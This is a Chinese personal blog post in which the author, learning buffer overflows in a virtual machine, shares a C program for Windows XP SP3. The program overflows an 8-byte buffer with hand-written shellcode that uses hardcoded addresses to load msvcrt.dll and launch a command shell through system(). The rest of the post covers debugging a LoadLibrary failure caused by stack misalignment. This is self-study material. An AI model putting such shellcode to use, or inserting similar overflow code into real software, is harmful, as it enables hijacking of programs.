这几天看缓冲区溢出
Q版的那本,写的真是不错
在虚拟机里实验
各种苦逼啊~!
可能是RP不好,VC6各种崩溃啊!!!
最后写的汇编程序都没了,只剩下抄的shellcode
唉,还有一个很蛋疼的问题一直无法解决
先把代码放上去吧
#include <windows.h> #include <stdio.h> char name[] = "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x12\x45\xfa\x7f" "\x55\x8B\xEC\x33\xFF\x57\x57\x57\x83\xEC\x0A\x4D\xC6\x04\x24\x6D" "\xC6\x44\x24\x01\x73\xC6\x44\x24\x02\x76\xC6\x44\x24\x03\x63\xC6\x44\x24\x04\x72\xC6\x44\x24\x05\x74" "\xC6\x44\x24\x06\x2E\xC6\x44\x24\x07\x64\xC6\x44\x24\x08\x6c\xC6\x44\x24\x09\x6C\x8B\xC4\x50" "\xB8\x7B\x1D\x80\x7c"//LoadLibrary地址:0X7C801D7B "\xFF\xD0" "\xB8\x21\xFE\x92\x7C\xFF\xD0" "\x83\xC4\x16\x5D" "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D" "\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63" "\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50" "\xB8\xC7\x93\xBf\x77"//system地址 "\xFF\xD0" "\x83\xC4\x10\x5D"; void fun() { char output[8]; //strcpy(output, name); memcpy(output, name, sizeof(name)); } int main() { LoadLibrary("msvcrt.dll"); fun(); printf("%x",GetLastError); _asm { mov eax,7C92FE21h; call eax; } return 0; }
这个程序在XP SP3上执行之后会运行CMD程序
其中本来是在shellcode中执行loadlibrary的
结果不知为何总是失败,返回0
用OD跟进去始终没有发现问题
在shellcode中loadlibrary后加了个GetLastError
发现返回码是998——内存分配访问无效
真是蛋碎
泥煤的难道要我去看loadlibrary么~!!!
唉,苦逼,只能先放着了
最后先用C语言loadlibrary一下
发现程序运行后顺畅地打开了CMD
可以确定问题就在loadlibrary那里
最后诅咒该死的VS2010
我把代码放进去,编译链接,结果它直接提示我有缓冲区溢出
囧~
泥煤的要不要这么强大!!!
害的我只好继续冒着崩溃的风险在VC6下玩了……
loadlibrary的问题解决了
原来是堆栈分配空间时没有四字节对齐
唉,一个小问题让我蛋疼了这么久……